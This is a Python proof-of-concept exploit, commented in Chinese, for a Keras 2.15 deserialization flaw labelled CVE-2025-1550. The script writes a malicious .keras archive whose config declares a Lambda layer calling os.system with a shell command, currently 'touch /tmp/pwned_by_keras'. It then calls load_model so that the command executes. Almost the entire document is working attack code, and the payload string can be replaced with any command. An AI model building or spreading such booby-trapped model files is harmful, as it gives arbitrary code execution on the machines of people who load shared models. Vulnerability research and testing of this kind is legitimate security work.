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#!/usr/bin/env python3
# 利用标题: Keras 2.15 - 远程代码执行（RCE）
# 作者: Mohammed Idrees Banyamer
# 日期: 2025-07-09
# 测试环境: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# 类型: 远程代码执行（RCE）
# 平台: Python / 机器学习（Keras）
# 攻击向量: 恶意的.keras文件（通过反序列化的客户端代码执行）
import os
import json
from zipfile import ZipFile
import tempfile
import shutil
from tensorflow.keras.models import load_model
PAYLOAD = "touch /tmp/pwned_by_keras"
def create_malicious_config():
return {
"class_name": "Functional",
"config": {
"name": "pwned_model",
"layers": [
{
"class_name": "Lambda",
"config": {
"name": "evil_lambda",
"function": {
"class_name": "function",
"config": {
"module": "os",
"function_name": "system",
"registered_name": None
}
},
"arguments": [PAYLOAD]
}
}
],
"input_layers": [["evil_lambda", 0, 0]],
"output_layers": [["evil_lambda", 0, 0]]
}
}
def build_malicious_keras(output_file="malicious_model.keras"):
tmpdir = tempfile.mkdtemp()
try:
config_path = os.path.join(tmpdir, "config.json")
with open(config_path, "w") as f:
json.dump(create_malicious_config(), f)
metadata_path = os.path.join(tmpdir, "metadata.json")
with open(metadata_path, "w") as f:
json.dump({"keras_version": "2.15.0"}, f)
weights_path = os.path.join(tmpdir, "model.weights.h5")
with open(weights_path, "wb") as f:
f.write(b"\x89HDF\r\n\x1a\n") # HDF5签名
with ZipFile(output_file, "w") as archive:
archive.write(config_path, arcname="config.json")
archive.write(metadata_path, arcname="metadata.json")
archive.write(weights_path, arcname="model.weights.h5")
print(f"[+] 创建恶意模型: {output_file}")
finally:
shutil.rmtree(tmpdir)
def trigger_exploit(model_path):
print("[*] 加载恶意模型以触发利用...")
load_model(model_path)
print("[✓] 模型加载完成。如果存在漏洞，载荷应该已执行。")
if __name__ == "__main__":
keras_file = "malicious_model.keras"
build_malicious_keras(keras_file)
trigger_exploit(keras_file)
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